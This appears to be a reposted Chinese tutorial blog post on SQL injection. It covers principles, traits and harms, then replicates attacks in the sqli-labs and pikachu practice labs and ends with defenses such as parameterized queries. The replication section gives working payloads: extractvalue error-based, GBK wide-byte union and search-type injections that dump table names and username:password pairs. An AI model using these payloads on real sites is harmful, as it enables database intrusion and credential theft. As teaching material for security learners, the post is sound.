SQL注入漏洞

Posted Curious baby

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入漏洞相关的知识,希望对你有一定的参考价值。


SQL注入在英文中称为SQL Injection,是黑客对Web数据库进行攻击的常用手段之一。在这种攻击方式中,恶意代码被插入到查询字符串中,然后将该字符串传递到数据库服务器进行执行,根据数据库返回的结果,获得某些数据并发起进一步攻击,甚至获取管理员帐号密码、窃取或者篡改系统数据。


  SQL注入漏洞原理

SQL注入是一种危险系数较高的攻击方式,现在由于我们持久层框架越来越多,大部分框架会处理这个问题,因此导致我们对它的关注度越来越少了。

SQL注入的原理是将SQL代码伪装到输入参数中,传递到服务器解析并执行的一种攻击手法。也就是说,在一些对server端发起的请求参数中植入一些SQL代码,server端在执行SQL操作时,会拼接对应参数,同时也将一些SQL注入攻击的“SQL”拼接起来,导致会执行一些预期之外的操作。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

2.2      SQL注入攻击的主要特点

1.变种极多

有经验的攻击者,也就是黑客会手工调整攻击的参数,致使攻击的数据是不可枚举的,这导致传统的特征匹配方法仅能识别到相当少的攻击。或者是最常规的攻击,难以做到防范。

2.攻击简单

攻击过程简单,目前互联网上流行的众多SQL注入攻击工具,攻击者借助这些工具可以很快的对目标网站进行攻击或者是破坏,危害大。

3.危害极大

由于Web语言自身的缺陷,以及具有安全编程的开发人员较少,大多数Web应用系统均具有被SQL注入攻击的可能,而攻击者一旦攻击成功,就可以对控制整个Web应用系统对数据做任何的修改或者是窃取,破坏力达到了极致。

2.3      SQL注入攻击的危害

1.未经授权状况下操作数据库中的数据。

2.恶意篡改网页内容登录后台后发布的内容,也可以发布对首页的更新,这时候更新可能就是一些非法信息,也可以对系统进行添加账户或者是数据库账号。这个需要拿到Web shell或者是更高的权限。

3.私自添加系统帐号或者是数据库使用者帐号。

4.网页挂木马拿到Web shell或者获取到服务器的权限以后,我们将一些网页木马挂在服务器上,去攻击别人。甚至在严重些我们可以控制整个Web服务器,这个都是非常危险的。

2.4      SQL注入复现

2.4.1字符型注入

我们利用sqli-labs平台的第一关来进行注入。

1.检测报错型payload。

检测字段:?id=1' and 1=1--+

检测字段:?id=1' and 1=2--+

证明确实存在手工报错型注入,注意id=正确值。

2.爆表payload

攻击代码:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+


3.爆列名(字段)payload,

攻击代码:

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+


4.爆值payload,

攻击代码:

?id=1’and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+


5.同样使用not in显示其他值,

攻击代码:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

字符型复现成功


宽字节注入

当某字符的大小为一个字节时,称其字符为窄字节;当某字符的大小为两个字节时,称其字符为宽字节;所有英文默认占一个字节,汉字占两个字节。常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等。

我们利用sqli-labs平台的第三十二关来进行宽字节注入,

当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用。

1.爆库名,看到\和%df已经组合成功了。

攻击代码:

?id=-1%df' union select 1,2,database() --+

2.爆列名

‘Users’这里有单引号。使用十六进制编码就可以绕过了,使用0x代替,users使用十六进制编码得到7573657273,构造为0x7573657273。

攻击代码:

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+爆列名

3.宽字节注入复现成功,如图2-10所示。

攻击代码:?id=-1%df' union select 1,2,3 -- -宽字节注入复现成功


搜索型注入

利用pikachu靶场进行搜索型注入测试:

1.页面提示输入用户名进行查找,猜测为字符型注入。用万能语句试试看攻击代码:1%' or 1=1 #。

该类型注入让测试者构造'%$keyword%'闭合,但不知道为什么,直接用1' or 1=1 #就能够成功注入。回显了所有用户的相关信息,说明存在字符型注入,搜索型测试

2.猜解查询的字段数:lucy%' order by num#,如图2-12所示。

num=1、2、3时均正常回显,到4时报错,说明查询的字段数为3。猜测查询

3.爆库名:lucy%' union select 1,database(),3 #。

由回显可知数据库名为pikachu。

4.爆password列的值。

输入1%' union select 1,2,password from users#  搜索型爆password列的值

  SQL注入攻击防御方法

预防措施主要有以下几点:

1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双“=”进行转换等。

2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

2.6      小结

通过本章的研究懂得了SQL手工的基本注入过程,所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。以及学习到如何防范SQL注入的方法,这样来加固,降低了网站被SQL注入的风险问题。



以上是关于SQL注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

可怕的漏洞,SQL注入漏洞实战演习

SQL注入漏洞扫描工具都有哪些

SQL注入漏洞的判断

如何防止SQL注入漏洞

如何防范SQL注入漏洞及检测

如何修复SQL注入漏洞